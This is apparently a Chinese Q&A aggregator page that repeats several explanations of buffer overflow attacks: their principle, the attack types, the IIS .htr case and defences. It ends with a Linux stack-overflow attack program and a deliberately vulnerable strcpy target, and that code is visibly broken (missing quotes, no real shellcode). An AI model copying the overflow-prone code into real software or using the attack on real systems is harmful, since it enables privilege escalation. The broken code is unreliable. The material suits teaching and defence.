當前位置:首頁 » 硬碟大全 » 緩存溢出攻擊實例
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

緩存溢出攻擊實例

發布時間: 2022-05-16 09:41:10

A. 緩沖區溢出攻擊的2.危害

可以利用它執行非授權指令,甚至可以取得系統特權,進而進行各種非法操作。緩沖區溢出攻擊有多種英文名稱:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它們指的都是同一種攻擊手段。第一個緩沖區溢出攻擊--Morris蠕蟲,發生在二十年前,它曾造成了全世界6000多台網路伺服器癱瘓。
在當前網路與分布式系統安全中,被廣泛利用的50%以上都是緩沖區溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕蟲。而緩沖區溢出中,最為危險的是堆棧溢出,因為入侵者可以利用堆棧溢出,在函數返回時改變返回程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰導致拒絕服務,另外一種就是跳轉並且執行一段惡意代碼,比如得到shell,然後為所欲為。

B. 緩沖區溢出攻擊的6.防範方法

有四種基本的方法保護緩沖區免受緩沖區溢出的攻擊和影響。

1、通過操作系統使得緩沖區不可執行,從而阻止攻擊者植入攻擊代碼。

2、強制寫正確的代碼的方法。

3、利用編譯器的邊界檢查來實現緩沖區的保護。這個方法使得緩沖區溢出不可能出現,從而完全消除了緩沖區溢出的威脅,但是相對而言代價比較大。

4、一種間接的方法,這個方法在程序指針失效前進行完整性檢查。雖然這種方法不能使得所有的緩沖區溢出失效,但它能阻止絕大多數的緩沖區溢出攻擊。分析這種保護方法的兼容性和性能優勢。

非執行的緩沖區

通過使被攻擊程序的數據段地址空間不可執行,從而使得攻擊者不可能執行被植入被攻擊程序輸入緩沖區的代碼,這種技術被稱為非執行的緩沖區技術。在早期的Unix系統設計中,只允許程序代碼在代碼段中執行。

但是Unix和MS Windows系統由於要實現更好的性能和功能,往往在數據段中動態地放入可執行的代碼,這也是緩沖區溢出的根源。為了保持程序的兼容性,不可能使得所有程序的數據段不可執行。

但是可以設定堆棧數據段不可執行,這樣就可以保證程序的兼容性。Linux和Solaris都發布了有關這方面的內核補丁。因為幾乎沒有任何合法的程序會在堆棧中存放代碼,這種做法幾乎不產生任何兼容性問題,除了在Linux中的兩個特例,這時可執行的代碼必須被放入堆棧中:

⑴信號傳遞

Linux通過向進程堆棧釋放代碼然後引發中斷來執行在堆棧中的代碼來實現向進程發送Unix信號。非執行緩沖區的補丁在發送信號的時候是允許緩沖區可執行的。

⑵GCC的在線重用

研究發現gcc在堆棧區里放置了可執行的代碼作為在線重用之用。然而,關閉這個功能並不產生任何問題,只有部分功能似乎不能使用。

非執行堆棧的保護可以有效地對付把代碼植入自動變數的緩沖區溢出攻擊,而對於其它形式的攻擊則沒有效果。通過引用一個駐留的程序的指針,就可以跳過這種保護措施。其它的攻擊可以採用把代碼植入堆或者靜態數據段中來跳過保護。

(2)緩存溢出攻擊實例擴展閱讀:

原理

通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。

例如下面程序:

void function(char*str){char buffer[16];strcpy(buffer,str);}

上面的strcpy()將直接把str中的內容到buffer中。這樣只要str的長度大於16,就會造成buffer的溢出,使程序運行出錯。

存在像strcpy這樣的問題的標准函數還有strcat()、sprintf()、vsprintf()、gets()、scanf()等。

當然,隨便往緩沖區中填東西造成它溢出一般只會出現分段錯誤(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過製造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其它命令。

如果該程序屬於root且有suid許可權的話,攻擊者就獲得了一個有root許可權的shell,可以對系統進行任意操作了。

緩沖區溢出攻擊之所以成為一種常見安全攻擊手段其原因在於緩沖區溢出漏洞太普遍了,並且易於實現。

而且,緩沖區溢出成為遠程攻擊的主要手段其原因在於緩沖區溢出漏洞給予了攻擊者他所想要的一切:植入並且執行攻擊代碼。被植入的攻擊代碼以一定的許可權運行有緩沖區溢出漏洞的程序,從而得到被攻擊主機的控制權。

在1998年Lincoln實驗室用來評估入侵檢測的的5種遠程攻擊中,有2種是緩沖區溢出。而在1998年CERT的13份建議中,有9份是是與緩沖區溢出有關的,在1999年,至少有半數的建議是和緩沖區溢出有關的。在ugtraq的調查中,有2/3的被調查者認為緩沖區溢出漏洞是一個很嚴重的安全問題。

緩沖區溢出漏洞和攻擊有很多種形式,會在第二節對他們進行描述和分類。相應地防衛手段也隨者攻擊方法的不同而不同,將在第四節描述,它的內容包括針對每種攻擊類型的有效的防衛手段。

C. 緩沖區溢出攻擊的4.問題

緩沖區溢出攻擊的目的在於擾亂具有某些特權運行的程序的功能,這樣可以使得攻擊者取得程序的控制權,如果該程序具有足夠的許可權,那麼整個主機就被控制了。一般而言,攻擊者攻擊root程序,然後執行類似「exec(sh)」的執行代碼來獲得root許可權的shell。為了達到這個目的,攻擊者必須達到如下的兩個目標:
⒈ 在程序的地址空間里安排適當的代碼。
⒉ 通過適當的初始化寄存器和內存,讓程序跳轉到入侵者安排的地址空間執行。
根據這兩個目標來對緩沖區溢出攻擊進行分類。在4.1節,將描述攻擊代碼是如何放入被攻擊程序的地址空間的。在4.2節,將介紹攻擊者如何使一個程序的緩沖區溢出,並且執行轉移到攻擊代碼(這個就是「溢出」的由來)。在4.3節,將綜合前兩節所討論的代碼安排和控製程序執行流程的技術。
4.1 在程序的地址空間里安排適當的代碼的方法
有兩種在被攻擊程序地址空間里安排攻擊代碼的方法:
1、植入法
攻擊者向被攻擊的程序輸入一個字元串,程序會把這個字元串放到緩沖區里。這個字元串包含的資料是可以在這個被攻擊的硬體平台上運行的指令序列。在這里,攻擊者用被攻擊程序的緩沖區來存放攻擊代碼。緩沖區可以設在任何地方:堆棧(stack,自動變數)、堆(heap,動態分配的內存區)和靜態資料區。
2、利用已經存在的代碼
有時,攻擊者想要的代碼已經在被攻擊的程序中了,攻擊者所要做的只是對代碼傳遞一些參數。比如,攻擊代碼要求執行「exec (bin/sh)」,而在libc庫中的代碼執行「exec (arg)」,其中arg是一個指向一個字元串的指針參數,那麼攻擊者只要把傳入的參數指針改向指向「/bin/sh」。
4.2 控製程序轉移到攻擊代碼的方法
所有的這些方法都是在尋求改變程序的執行流程,使之跳轉到攻擊代碼。最基本的就是溢出一個沒有邊界檢查或者其它弱點的緩沖區,這樣就擾亂了程序的正常的執行順序。通過溢出一個緩沖區,攻擊者可以用暴力的方法改寫相鄰的程序空間而直接跳過了系統的檢查。
分類的基準是攻擊者所尋求的緩沖區溢出的程序空間類型。原則上是可以任意的空間。實際上,許多的緩沖區溢出是用暴力的方法來尋求改變程序指針的。這類程序的不同之處就是程序空間的突破和內存空間的定位不同。主要有以下三種:
1、活動紀錄(Activation Records)
每當一個函數調用發生時,調用者會在堆棧中留下一個活動紀錄,它包含了函數結束時返回的地址。攻擊者通過溢出堆棧中的自動變數,使返回地址指向攻擊代碼。通過改變程序的返回地址,當函數調用結束時,程序就跳轉到攻擊者設定的地址,而不是原先的地址。這類的緩沖區溢出被稱為堆棧溢出攻擊(Stack Smashing Attack),是目前最常用的緩沖區溢出攻擊方式。
2、函數指針(Function Pointers)
函數指針可以用來定位任何地址空間。例如:「void (* foo)()」聲明了一個返回值為void的函數指針變數foo。所以攻擊者只需在任何空間內的函數指針附近找到一個能夠溢出的緩沖區,然後溢出這個緩沖區來改變函數指針。在某一時刻,當程序通過函數指針調用函數時,程序的流程就按攻擊者的意圖實現了。它的一個攻擊範例就是在Linux系統下的superprobe程序。
3、長跳轉緩沖區(Longjmp buffers)
在C語言中包含了一個簡單的檢驗/恢復系統,稱為setjmp/longjmp。意思是在檢驗點設定「setjmp(buffer)」,用「longjmp(buffer)」來恢復檢驗點。然而,如果攻擊者能夠進入緩沖區的空間,那麼「longjmp(buffer)」實際上是跳轉到攻擊者的代碼。象函數指針一樣,longjmp緩沖區能夠指向任何地方,所以攻擊者所要做的就是找到一個可供溢出的緩沖區。一個典型的例子就是Perl 5.003的緩沖區溢出漏洞;攻擊者首先進入用來恢復緩沖區溢出的的longjmp緩沖區,然後誘導進入恢復模式,這樣就使Perl的解釋器跳轉到攻擊代碼上了。
4.3代碼植入和流程式控制制技術的綜合分析
最簡單和常見的緩沖區溢出攻擊類型就是在一個字元串里綜合了代碼植入和活動紀錄技術。攻擊者定位一個可供溢出的自動變數,然後向程序傳遞一個很大的字元串,在引發緩沖區溢出,改變活動紀錄的同時植入了代碼。這個是由Levy指出的攻擊的模板。因為C在習慣上只為用戶和參數開辟很小的緩沖區,因此這種漏洞攻擊的實例十分常見。
代碼植入和緩沖區溢出不一定要在在一次動作內完成。攻擊者可以在一個緩沖區內放置代碼,這是不能溢出的緩沖區。然後,攻擊者通過溢出另外一個緩沖區來轉移程序的指針。這種方法一般用來解決可供溢出的緩沖區不夠大(不能放下全部的代碼)的情況。
如果攻擊者試圖使用已經常駐的代碼而不是從外部植入代碼,他們通常必須把代碼作為參數調用。舉例來說,在libc(幾乎所有的C程序都要它來連接)中的部分代碼段會執行「exec(something)」,其中somthing就是參數。攻擊者然後使用緩沖區溢出改變程序的參數,然後利用另一個緩沖區溢出使程序指針指向libc中的特定的代碼段。

D. 緩沖區溢出攻擊的基本原理是什麼

緩沖區溢出是一種非常普遍、非常危險的漏洞,在各種操作系統、應用軟體中廣泛存在。利用緩沖區溢出攻擊,可以導致程序運行失敗、系統當機、重新啟動等後果。更為嚴重的是,可以利用它執行非授權指令,甚至可以取得系統特權,進而進行各種非法操作。緩沖區溢出攻擊有多種英文名稱:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它們指的都是同一種攻擊手段。第一個緩沖區溢出攻擊--Morris蠕蟲,發生在十年前,它曾造成了全世界6000多台網路伺服器癱瘓。
1.概念
緩沖區溢出是指當計算機向緩沖區內填充數據位數時超過了緩沖區本身的容量溢出的數據覆蓋在合法數據上,理想的情況是 程序檢查數據長度並不允許輸入超過緩沖區長度的字元,但是絕大多數程序都會假設數據長度總是與所分配的儲存空間想匹配,這就為緩沖區溢出埋下隱患.操作系統所使用的緩沖區 又被稱為"堆棧". 在各個操作進程之間,指令會被臨時儲存在"堆棧"當中,"堆棧"也會出現緩沖區溢出 。
2.危害
在當前網路與分布式系統安全中,被廣泛利用的50%以上都是緩沖區溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕蟲。而緩沖區溢出中,最為危險的是堆棧溢出,因為入侵者可以利用堆棧溢出,在函數返回時改變返回程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰導致拒絕服務,另外一種就是跳轉並且執行一段惡意代碼,比如得到shell,然後為所欲為。
3.緩沖區攻擊
一. 緩沖區溢出的原理
通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
上面的strcpy()將直接吧str中的內容到buffer中。這樣只要str的長度大於16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標准函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
當然,隨便往緩沖區中填東西造成它溢出一般只會出現「分段錯誤」(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過製造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其它命令。如果該程序屬於root且有suid許可權的話,攻擊者就獲得了一個有root許可權的shell,可以對系統進行任意操作了。
緩沖區溢出攻擊之所以成為一種常見安全攻擊手段其原因在於緩沖區溢出漏洞太普遍了,並且易於實現。而且,緩沖區溢出成為遠程攻擊的主要手段其原因在於緩沖區溢出漏洞給予了攻擊者他所想要的一切:植入並且執行攻擊代碼。被植入的攻擊代碼以一定的許可權運行有緩沖區溢出漏洞的程序,從而得到被攻擊主機的控制權。
在1998年Lincoln實驗室用來評估入侵檢測的的5種遠程攻擊中,有2種是緩沖區溢出。而在1998年CERT的13份建議中,有9份是是與緩沖區溢出有關的,在1999年,至少有半數的建議是和緩沖區溢出有關的。在Bugtraq的調查中,有2/3的被調查者認為緩沖區溢出漏洞是一個很嚴重的安全問題。
緩沖區溢出漏洞和攻擊有很多種形式,會在第二節對他們進行描述和分類。相應地防衛手段也隨者攻擊方法的不同而不同,將在第四節描述,它的內容包括針對每種攻擊類型的有效的防衛手段。

二、緩沖區溢出的漏洞和攻擊
緩沖區溢出攻擊的目的在於擾亂具有某些特權運行的程序的功能,這樣可以使得攻擊者取得程序的控制權,如果該程序具有足夠的許可權,那麼整個主機就被控制了。一般而言,攻擊者攻擊root程序,然後執行類似「exec(sh)」的執行代碼來獲得root許可權的shell。為了達到這個目的,攻擊者必須達到如下的兩個目標:
1. 在程序的地址空間里安排適當的代碼。
2. 通過適當的初始化寄存器和內存,讓程序跳轉到入侵者安排的地址空間執行。
根據這兩個目標來對緩沖區溢出攻擊進行分類。在二.1節,將描述攻擊代碼是如何放入被攻擊程序的地址空間的。在二.2節,將介紹攻擊者如何使一個程序的緩沖區溢出,並且執行轉移到攻擊代碼(這個就是「溢出」的由來)。在二.3節,將綜合前兩節所討論的代碼安排和控製程序執行流程的技術。
二.1 在程序的地址空間里安排適當的代碼的方法
有兩種在被攻擊程序地址空間里安排攻擊代碼的方法:
1、植入法:
攻擊者向被攻擊的程序輸入一個字元串,程序會把這個字元串放到緩沖區里。這個字元串包含的資料是可以在這個被攻擊的硬體平台上運行的指令序列。在這里,攻擊者用被攻擊程序的緩沖區來存放攻擊代碼。緩沖區可以設在任何地方:堆棧(stack,自動變數)、堆(heap,動態分配的內存區)和靜態資料區。
2、利用已經存在的代碼:
有時,攻擊者想要的代碼已經在被攻擊的程序中了,攻擊者所要做的只是對代碼傳遞一些參數。比如,攻擊代碼要求執行「exec (「/bin/sh」)」,而在libc庫中的代碼執行「exec (arg)」,其中arg使一個指向一個字元串的指針參數,那麼攻擊者只要把傳入的參數指針改向指向」/bin/sh」。
二.2 控製程序轉移到攻擊代碼的方法
所有的這些方法都是在尋求改變程序的執行流程,使之跳轉到攻擊代碼。最基本的就是溢出一個沒有邊界檢查或者其它弱點的緩沖區,這樣就擾亂了程序的正常的執行順序。通過溢出一個緩沖區,攻擊者可以用暴力的方法改寫相鄰的程序空間而直接跳過了系統的檢查。
分類的基準是攻擊者所尋求的緩沖區溢出的程序空間類型。原則上是可以任意的空間。實際上,許多的緩沖區溢出是用暴力的方法來尋求改變程序指針的。這類程序的不同之處就是程序空間的突破和內存空間的定位不同。主要有以下三種: 1、活動紀錄(Activation Records):
每當一個函數調用發生時,調用者會在堆棧中留下一個活動紀錄,它包含了函數結束時返回的地址。攻擊者通過溢出堆棧中的自動變數,使返回地址指向攻擊代碼。通過改變程序的返回地址,當函數調用結束時,程序就跳轉到攻擊者設定的地址,而不是原先的地址。這類的緩沖區溢出被稱為堆棧溢出攻擊(Stack Smashing Attack),是目前最常用的緩沖區溢出攻擊方式。
2、函數指針(Function Pointers):
函數指針可以用來定位任何地址空間。例如:「void (* foo)()」聲明了一個返回值為void的函數指針變數foo。所以攻擊者只需在任何空間內的函數指針附近找到一個能夠溢出的緩沖區,然後溢出這個緩沖區來改變函數指針。在某一時刻,當程序通過函數指針調用函數時,程序的流程就按攻擊者的意圖實現了。它的一個攻擊範例就是在Linux系統下的superprobe程序。
3、長跳轉緩沖區(Longjmp buffers):
在C語言中包含了一個簡單的檢驗/恢復系統,稱為setjmp/longjmp。意思是在檢驗點設定「setjmp(buffer)」,用「longjmp(buffer)」來恢復檢驗點。然而,如果攻擊者能夠進入緩沖區的空間,那麼「longjmp(buffer)」實際上是跳轉到攻擊者的代碼。象函數指針一樣,longjmp緩沖區能夠指向任何地方,所以攻擊者所要做的就是找到一個可供溢出的緩沖區。一個典型的例子就是Perl 5.003的緩沖區溢出漏洞;攻擊者首先進入用來恢復緩沖區溢出的的longjmp緩沖區,然後誘導進入恢復模式,這樣就使Perl的解釋器跳轉到攻擊代碼上了。
二.3代碼植入和流程式控制制技術的綜合分析
最簡單和常見的緩沖區溢出攻擊類型就是在一個字元串里綜合了代碼植入和活動紀錄技術。攻擊者定位一個可供溢出的自動變數,然後向程序傳遞一個很大的字元串,在引發緩沖區溢出,改變活動紀錄的同時植入了代碼。這個是由Levy指出的攻擊的模板。因為C在習慣上只為用戶和參數開辟很小的緩沖區,因此這種漏洞攻擊的實例十分常見。
代碼植入和緩沖區溢出不一定要在在一次動作內完成。攻擊者可以在一個緩沖區內放置代碼,這是不能溢出的緩沖區。然後,攻擊者通過溢出另外一個緩沖區來轉移程序的指針。這種方法一般用來解決可供溢出的緩沖區不夠大(不能放下全部的代碼)的情況。
如果攻擊者試圖使用已經常駐的代碼而不是從外部植入代碼,他們通常必須把代碼作為參數調用。舉例來說,在libc(幾乎所有的C程序都要它來連接)中的部分代碼段會執行「exec(something)」,其中somthing就是參數。攻擊者然後使用緩沖區溢出改變程序的參數,然後利用另一個緩沖區溢出使程序指針指向libc中的特定的代碼段。
三、 緩沖區溢出攻擊的實驗分析
2000年1月,Cerberus 安全小組發布了微軟的IIS 4/5存在的一個緩沖區溢出漏洞。攻擊該漏洞,可以使Web伺服器崩潰,甚至獲取超級許可權執行任意的代碼。目前,微軟的IIS 4/5 是一種主流的Web伺服器程序;因而,該緩沖區溢出漏洞對於網站的安全構成了極大的威脅;它的描述如下:
瀏覽器向IIS提出一個HTTP請求,在域名(或IP地址)後,加上一個文件名,該文件名以「.htr」做後綴。於是IIS認為客戶端正在請求一個「.htr」文件,「.htr」擴展文件被映像成ISAPI(Internet Service API)應用程序,IIS會復位向所有針對「.htr」資源的請求到 ISM.DLL程序 ,ISM.DLL 打開這個文件並執行之。
瀏覽器提交的請求中包含的文件名存儲在局部變數緩沖區中,若它很長,超過600個字元時,會導致局部變數緩沖區溢出,覆蓋返回地址空間,使IIS崩潰。更進一步,在如圖1所示的2K緩沖區中植入一段精心設計的代碼,可以使之以系統超級許可權運行。
四、緩沖區溢出攻擊的防範方法
緩沖區溢出攻擊佔了遠程網路攻擊的絕大多數,這種攻擊可以使得一個匿名的Internet用戶有機會獲得一台主機的部分或全部的控制權。如果能有效地消除緩沖區溢出的漏洞,則很大一部分的安全威脅可以得到緩解。
目前有四種基本的方法保護緩沖區免受緩沖區溢出的攻擊和影響。在四.1中介紹了通過操作系統使得緩沖區不可執行,從而阻止攻擊者植入攻擊代碼。在四.2中介紹了強制寫正確的代碼的方法。在四.3中介紹了利用編譯器的邊界檢查來實現緩沖區的保護。這個方法使得緩沖區溢出不可能出現,從而完全消除了緩沖區溢出的威脅,但是相對而言代價比較大。在四.4中介紹一種間接的方法,這個方法在程序指針失效前進行完整性檢查。雖然這種方法不能使得所有的緩沖區溢出失效,但它能阻止絕大多數的緩沖區溢出攻擊。然後在四.5,分析這種保護方法的兼容性和性能優勢。

四.1 非執行的緩沖區
通過使被攻擊程序的數據段地址空間不可執行,從而使得攻擊者不可能執行被植入被攻擊程序輸入緩沖區的代碼,這種技術被稱為非執行的緩沖區技術。在早期的Unix系統設計中,只允許程序代碼在代碼段中執行。但是近來的Unix和MS Windows系統由於要實現更好的性能和功能,往往在數據段中動態地放入可執行的代碼,這也是緩沖區溢出的根源。為了保持程序的兼容性,不可能使得所有程序的數據段不可執行。
但是可以設定堆棧數據段不可執行,這樣就可以保證程序的兼容性。Linux和Solaris都發布了有關這方面的內核補丁。因為幾乎沒有任何合法的程序會在堆棧中存放代碼,這種做法幾乎不產生任何兼容性問題,除了在Linux中的兩個特例,這時可執行的代碼必須被放入堆棧中:
(1)信號傳遞:
Linux通過向進程堆棧釋放代碼然後引發中斷來執行在堆棧中的代碼來實現向進程發送Unix信號。非執行緩沖區的補丁在發送信號的時候是允許緩沖區可執行的。
(2)GCC的在線重用:
研究發現gcc在堆棧區里放置了可執行的代碼作為在線重用之用。然而,關閉這個功能並不產生任何問題,只有部分功能似乎不能使用。
非執行堆棧的保護可以有效地對付把代碼植入自動變數的緩沖區溢出攻擊,而對於其它形式的攻擊則沒有效果。通過引用一個駐留的程序的指針,就可以跳過這種保護措施。其它的攻擊可以採用把代碼植入堆或者靜態數據段中來跳過保護。
四.2 編寫正確的代碼
編寫正確的代碼是一件非常有意義的工作,特別象編寫C語言那種風格自由而容易出錯的程序,這種風格是由於追求性能而忽視正確性的傳統引起的。盡管花了很長的時間使得人們知道了如何編寫安全的程序,具有安全漏洞的程序依舊出現。因此人們開發了一些工具和技術來幫助經驗不足的程序員編寫安全正確的程序。
最簡單的方法就是用grep來搜索源代碼中容易產生漏洞的庫的調用,比如對strcpy和sprintf的調用,這兩個函數都沒有檢查輸入參數的長度。事實上,各個版本C的標准庫均有這樣的問題存在。
此外,人們還開發了一些高級的查錯工具,如fault injection等。這些工具的目的在於通過人為隨機地產生一些緩沖區溢出來尋找代碼的安全漏洞。還有一些靜態分析工具用於偵測緩沖區溢出的存在。
雖然這些工具幫助程序員開發更安全的程序,但是由於C語言的特點,這些工具不可能找出所有的緩沖區溢出漏洞。所以,偵錯技術只能用來減少緩沖區溢出的可能,並不能完全地消除它的存在。

E. 緩存溢出的緩存溢出黑客們的慣用伎倆

在unix系統中,通過緩存溢出來獲得root許可權是目前使用得相當普遍的一種黑客技術。事實上這是一個黑客在系統本地已經擁有了一個基本賬號後的首選攻擊方式。它也被廣泛應用於遠程攻擊,通過對daemon進程的堆棧溢出來實現遠程獲得rootshell的技術,已經有很多實例。
在windows系統中,同樣存在著緩存溢出的問題。而且,隨著internet的普及,win系列平台上的internet服務程序越來越多,低水平的win程序就成為你系統上的致命傷,因為它們同樣會發生遠程堆棧溢出。而且,由於win系統使用者和管理者普遍缺乏安全防範意識,一台win系統上的堆棧溢出,如果被惡意利用,將導致整個機器被黑客所控制,進而可能導致整個區域網落入黑客之手。微軟的流行產品iis server4.0中就被發現存在一種被稱為「非法htr請求」的缺陷。據微軟稱,此缺陷在特定情況下會導致任意代碼都可以在伺服器端運行。但用發現這一漏洞的internet安全公司eeye的ceo firas bushnaq的話說,這只是冰山一角而已。bushnaq說,黑客可以利用這一漏洞對iis伺服器進行完全的控制,而實際上許多電子商務站點恰恰是基於這套系統的。

F. 溢出攻擊的緩存區溢出

通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
上面的strcpy()將直接把str中的內容到buffer中。這樣只要str的長度大於16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標准函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
當然,隨便往緩沖區中填東西造成它溢出一般只會出現「分段錯誤」(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過製造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其它命令。如果該程序屬於root且有suid(Set User ID,)許可權的話,攻擊者就獲得了一個有root許可權的shell,可以對系統進行任意操作了。
緩沖區溢出攻擊之所以成為一種常見安全攻擊手段其原因在於緩沖區溢出漏洞太普遍了,並且易於實現。而且,緩沖區溢出成為遠程攻擊的主要手段其原因在於緩沖區溢出漏洞給予了攻擊者他所想要的一切:植入並且執行攻擊代碼。被植入的攻擊代碼以一定的許可權運行有緩沖區溢出漏洞的程序,從而得到被攻擊主機的控制權。
在1998年Lincoln實驗室用來評估入侵檢測的的5種遠程攻擊中,有2種是緩沖區溢出。而在1998年CERT的13份建議中,有9份是是與緩沖區溢出有關的,在1999年,至少有半數的建議是和緩沖區溢出有關的。在Bugtraq的調查中,有2/3的被調查者認為緩沖區溢出漏洞是一個很嚴重的安全問題。
緩沖區溢出漏洞和攻擊有很多種形式,會在第二節對他們進行描述和分類。相應地防衛手段也隨者攻擊方法的不同而不同,將在第四節描述,它的內容包括針對每種攻擊類型的有效的防衛手段。

G. 緩沖區溢出的基本原理是什麼

緩沖區溢出的原理:

通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

上面的strcpy()將直接吧str中的內容到buffer中。這樣只要str的長度大於16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標准函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。

漏洞:

緩沖區溢出攻擊的目的在於擾亂具有某些特權運行的程序的功能,這樣可以使得攻擊者取得程序的控制權,如果該程序具有足夠的許可權,那麼整個主機就被控制了。一般而言,攻擊者攻擊root程序,然後執行類似「exec(sh)」的執行代碼來獲得root許可權的shell。為了達到這個目的,攻擊者必須達到如下的兩個目標:

在程序的地址空間里安排適當的代碼。

通過適當的初始化寄存器和內存,讓程序跳轉到入侵者安排的地址空間執行。

可以根據這兩個目標來對緩沖區溢出攻擊進行分類。

以上內容參考:網路-緩沖區溢出

H. 緩沖區溢出的相關知識

地址空間里安排適當的代碼的方法
有兩種在被攻擊程序地址空間里安排攻擊代碼的方法:
植入法
攻擊者向被攻擊的程序輸入一個字元串,程序會把這個字元串放到緩沖區里。這個字元串包含的資料是可以在這個被攻擊的硬體平台上運行的指令序列。在這里,攻擊者用被攻擊程序的緩沖區來存放攻擊代碼。緩沖區可以設在任何地方:堆棧(stack,自動變數)、堆(heap,動態分配的內存區)和靜態資料區。
利用已經存在的代碼
有時,攻擊者想要的代碼已經在被攻擊的程序中了,攻擊者所要做的只是對代碼傳遞一些參數。比如,攻擊代碼要求執行「exec (「/bin/sh」)」,而在libc庫中的代碼執行「exec (arg)」,其中arg使一個指向一個字元串的指針參數,那麼攻擊者只要把傳入的參數指針改向指向」/bin/sh」。
控製程序轉移到攻擊代碼的方法
所有的這些方法都是在尋求改變程序的執行流程,使之跳轉到攻擊代碼。最基本的就是溢出一個沒有邊界檢查或者其它弱點的緩沖區,這樣就擾亂了程序的正常的執行順序。通過溢出一個緩沖區,攻擊者可以用暴力的方法改寫相鄰的程序空間而直接跳過了系統的檢查。
分類的基準是攻擊者所尋求的緩沖區溢出的程序空間類型。原則上是可以任意的空間。實際上,許多的緩沖區溢出是用暴力的方法來尋求改變程序指針的。這類程序的不同之處就是程序空間的突破和內存空間的定位不同。主要有以下三種:
活動紀錄(Activation Records)
每當一個函數調用發生時,調用者會在堆棧中留下一個活動紀錄,它包含了函數結束時返回的地址。攻擊者通過溢出堆棧中的自動變數,使返回地址指向攻擊代碼。通過改變程序的返回地址,當函數調用結束時,程序就跳轉到攻擊者設定的地址,而不是原先的地址。這類的緩沖區溢出被稱為堆棧溢出攻擊(Stack Smashing Attack),是目前最常用的緩沖區溢出攻擊方式。
函數指針(Function Pointers)
函數指針可以用來定位任何地址空間。例如:「void (* foo)()」聲明了一個返回值為void的函數指針變數foo。所以攻擊者只需在任何空間內的函數指針附近找到一個能夠溢出的緩沖區,然後溢出這個緩沖區來改變函數指針。在某一時刻,當程序通過函數指針調用函數時,程序的流程就按攻擊者的意圖實現了。它的一個攻擊範例就是在Linux系統下的superprobe程序。
長跳轉緩沖區(Longjmp buffers)
在C語言中包含了一個簡單的檢驗/恢復系統,稱為setjmp/longjmp。意思是在檢驗點設定「setjmp(buffer)」,用「longjmp(buffer)」來恢復檢驗點。然而,如果攻擊者能夠進入緩沖區的空間,那麼「longjmp(buffer)」實際上是跳轉到攻擊者的代碼。象函數指針一樣,longjmp緩沖區能夠指向任何地方,所以攻擊者所要做的就是找到一個可供溢出的緩沖區。一個典型的例子就是Perl 5.003的緩沖區溢出漏洞;攻擊者首先進入用來恢復緩沖區溢出的的longjmp緩沖區,然後誘導進入恢復模式,這樣就使Perl的解釋器跳轉到攻擊代碼上了。
代碼植入和流程式控制制技術的綜合分析
最簡單和常見的緩沖區溢出攻擊類型就是在一個字元串里綜合了代碼植入和活動紀錄技術。攻擊者定位一個可供溢出的自動變數,然後向程序傳遞一個很大的字元串,在引發緩沖區溢出,改變活動紀錄的同時植入了代碼。這個是由Levy指出的攻擊的模板。因為C在習慣上只為用戶和參數開辟很小的緩沖區,因此這種漏洞攻擊的實例十分常見。
代碼植入和緩沖區溢出不一定要在在一次動作內完成。攻擊者可以在一個緩沖區內放置代碼,這是不能溢出的緩沖區。然後,攻擊者通過溢出另外一個緩沖區來轉移程序的指針。這種方法一般用來解決可供溢出的緩沖區不夠大(不能放下全部的代碼)的情況。
如果攻擊者試圖使用已經常駐的代碼而不是從外部植入代碼,他們通常必須把代碼作為參數調用。舉例來說,在libc(幾乎所有的C程序都要它來連接)中的部分代碼段會執行「exec(something)」,其中somthing就是參數。攻擊者然後使用緩沖區溢出改變程序的參數,然後利用另一個緩沖區溢出使程序指針指向libc中的特定的代碼段。

I. 緩沖區溢出攻擊的8.攻擊實例

先來看一個Linux下的緩沖區溢出攻擊實例。
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc,char **argv){
char large_string[128];
long *long_ptr = (long *) large_string;
int i;
char shellcode[] = /bin/sh;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) strtoul(argv[2],NULL,16);
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i]; setenv(KIRIKA,large_string,1);
execle(argv[1],argv[1],NULL,environ);
return 0;}
攻擊程序exe.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char **argv){
char buffer[96];
printf(- %p -\n,&buffer);
strcpy(buffer,getenv(KIRIKA));
return 0;}
攻擊對象toto.c
